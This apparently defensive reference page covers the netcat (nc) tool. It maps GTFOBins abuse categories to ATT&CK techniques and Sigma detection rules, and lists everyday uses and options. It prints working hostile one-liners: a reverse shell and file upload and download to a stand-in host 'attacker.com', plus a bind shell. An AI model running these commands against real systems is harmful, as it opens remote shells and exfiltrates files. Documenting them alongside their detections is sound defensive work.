Identifier / Programs / Linux and Unix
nc
Redirect I/O into a network stream through this versatile tool. tldr-pages
GTFOBins bind-shell, download, reverse-shell, upload 6 Sigma rules name it 2 ATT&CK techniques 6 documented commands
How nc is abused
bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-lListen for one incoming connection, then exit toybox-pLocal port number toybox-edownload T1105 Ingress Tool Transfer
-lListen for one incoming connection, then exit toybox-pLocal port number toyboxreverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eupload
-lListen for one incoming connection, then exit toybox-pLocal port number toyboxEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for nc.
6 documented commands
bind-shell unprivileged, with sudo, as SUID
This only works with netcat traditional.
nc -l -p 12345 -e /bin/shTrips 1 Sigma rule: highPotential Netcat Reverse Shell Execution by @d4ns4n_, Nasreddine Bencherchali (Nextron Systems)
download unprivileged, with sudo, as SUID
The file is actually written by the invoking shell.
nc -l -p 12345 >/path/to/output-fileTrips no Sigma process-creation rule.
download unprivileged, with sudo, as SUID
The file is actually written by the invoking shell.
nc attacker.com 12345 >/path/to/output-fileTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
reverse-shell unprivileged, with sudo, as SUID
This only works with netcat traditional.
nc -e /bin/sh attacker.com 12345Trips 3 Sigma rules: highPotential Netcat Reverse Shell Execution by @d4ns4n_, Nasreddine Bencherchali (Nextron Systems); lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
upload unprivileged, with sudo, as SUID
The file is actually read by the invoking shell.
nc -l -p 12345 </path/to/input-fileTrips no Sigma process-creation rule.
upload unprivileged, with sudo, as SUID
The file is actually read by the invoking shell.
nc attacker.com 12345 </path/to/input-fileTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
4 of the 6 commands the identifier reads trip a Sigma process-creation rule; 2 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for nc. The identifier reads the line of each that runs nc.
What detects it
Everyday use
Start a listener on the specified TCP port and send a file into it
nc <filename -l -p portIdentify-lListen for one incoming connection, then exit toybox-pLocal port number toyboxConnect to a target listener on the specified port and receive a file from it
nc host port >received_filenameIdentifyTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
Scan the open TCP ports of a specified host
nc -v -z -w timeout_in_seconds host start_port-end_portIdentify-zzero-I/O mode [used for scanning] toybox-wSECONDS timeout to establish connection toyboxTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
Of the 3 examples the identifier reads, 2 match GTFOBins abuse or trip a Sigma process-creation rule.
Options
Show every option of nc
-4Force IPv4-6Force IPv6-EForward stderr-fUse FILENAME (ala /dev/ttyS0) instead of network-LListen and background each incoming connection (server mode)-lListen for one incoming connection, then exit-nNo DNS lookup-o FILEHex dump to FILE (show packets, -o- writes hex only to stdout)-OHex dump to FILE (streaming mode)-pLocal port number-qQuit SECONDS after EOF on stdin, even if stdout hasn't closed yet-sLocal source address-tAllocate tty-uUse UDP-UUse a UNIX domain socket-WSECONDS timeout for more data on an idle connection-wSECONDS timeout to establish connection-zzero-I/O mode [used for scanning]